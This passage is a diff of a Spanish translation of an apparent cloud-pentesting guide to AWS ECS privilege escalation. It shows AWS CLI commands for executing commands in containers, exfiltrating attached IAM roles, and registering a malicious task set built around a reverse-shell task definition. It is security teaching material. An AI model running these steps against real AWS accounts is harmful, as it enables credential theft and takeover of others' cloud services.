@@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Un atacante con los permisos **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role adjunto a él (necesitas los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\ Sin embargo, para hacerlo, la instancia del contenedor necesita estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está). +Un atacante con la **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role asociado a él (necesitas los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\ +Sin embargo, para poder hacer eso, la instancia del contenedor debe estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está). Por lo tanto, el atacante podría intentar: @@ -256,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Si tiene **`ecs:RunTask`**, ejecutar una tarea con `aws ecs run-task --enable-execute-command [...]` -- Si tiene **`ecs:StartTask`**, ejecutar una tarea con `aws ecs start-task --enable-execute-command [...]` -- Si tiene **`ecs:CreateService`**, crear un servicio con `aws ecs create-service --enable-execute-command [...]` -- Si tiene **`ecs:UpdateService`**, actualizar un servicio con `aws ecs update-service --enable-execute-command [...]` +- Si tiene **`ecs:RunTask`**, ejecute una tarea con `aws ecs run-task --enable-execute-command [...]` +- Si tiene **`ecs:StartTask`**, ejecute una tarea con `aws ecs start-task --enable-execute-command [...]` +- Si tiene **`ecs:CreateService`**, cree un service con `aws ecs create-service --enable-execute-command [...]` +- Si tiene **`ecs:UpdateService`**, actualice un service con `aws ecs update-service --enable-execute-command [...]` -Puedes encontrar **ejemplos de esas opciones** en las **secciones previas de ECS privesc**. +Puede encontrar **ejemplos de esas opciones** en **secciones previas de ECS privesc**. **Impacto potencial:** Privesc a un rol diferente adjunto a los contenedores. ### `ssm:StartSession` -Consulta en la **página ssm privesc** cómo puedes abusar de este permiso para **privesc a ECS**: +Consulta en la **ssm privesc page** cómo puedes abusar de este permiso para **privesc a ECS**: {{#ref}} aws-ssm-privesc.md @@ -275,7 +275,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Consulta en la **página ec2 privesc** cómo puedes abusar de estos permisos para **privesc a ECS**: +Consulta en la **ec2 privesc page** cómo puedes abusar de estos permisos para **privesc a ECS**: {{#ref}} aws-ec2-privesc.md @@ -283,16 +283,16 @@ aws-ec2-privesc.md ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario en el contexto de las tareas de ECS. +Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un cluster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario dentro del contexto de las tareas de ECS. -- TODO: ¿Es posible registrar una instancia desde una cuenta AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante?? +- TODO: ¿Es posible registrar una instancia desde una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] > TODO: Probar esto -Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, y `ecs:DescribeTaskSets` puede crear un task set malicioso para un servicio ECS existente y actualizar el task set primario. Esto permite al atacante ejecutar código arbitrario dentro del servicio. +Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` y `ecs:DescribeTaskSets` puede **crear un task set malicioso para un servicio ECS existente y actualizar el primary task set**. Esto permite al atacante **ejecutar código arbitrario dentro del servicio**. ```bash # Register a task definition with a reverse shell echo '{ @@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Impacto potencial**: Ejecutar código arbitrario en el servicio afectado, lo que puede afectar su funcionalidad o exfiltrar datos sensibles. +**Impacto potencial**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. ## Referencias